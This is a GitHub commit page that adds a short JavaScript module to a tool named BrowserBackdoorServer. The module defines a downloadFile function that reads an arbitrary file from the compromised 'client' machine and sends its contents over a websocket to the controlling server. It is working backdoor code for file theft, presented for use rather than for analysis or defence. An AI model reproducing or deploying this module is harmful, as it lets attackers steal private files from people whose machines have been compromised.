-
Notifications
You must be signed in to change notification settings - Fork 98
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
IMcPwn
committed
Jun 11, 2016
1 parent
5a8b607
commit b115430
Showing
1 changed file
with
22 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
// INTERACTIVE | ||
/* | ||
* Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com | ||
* BrowserBackdoorServer by IMcPwn. | ||
* See the file 'LICENSE' for copying permission | ||
* | ||
* Info: Downloads a file from the client | ||
* Parameters: fullPath, encoding | ||
* Returns: undefined, error, file | ||
* Author: IMcPwn | ||
*/ | ||
|
||
if (typeof fs === typeof undefined) fs = require('fs'); | ||
|
||
downloadFile = function (fullPath, encoding) { | ||
fs.readFile(fullPath, encoding, function (err, data) { | ||
if (err) ws.send(err); | ||
ws.send(data); | ||
}); | ||
} | ||
|
||
return "Usage: downloadFile(fullPath, encoding)"; |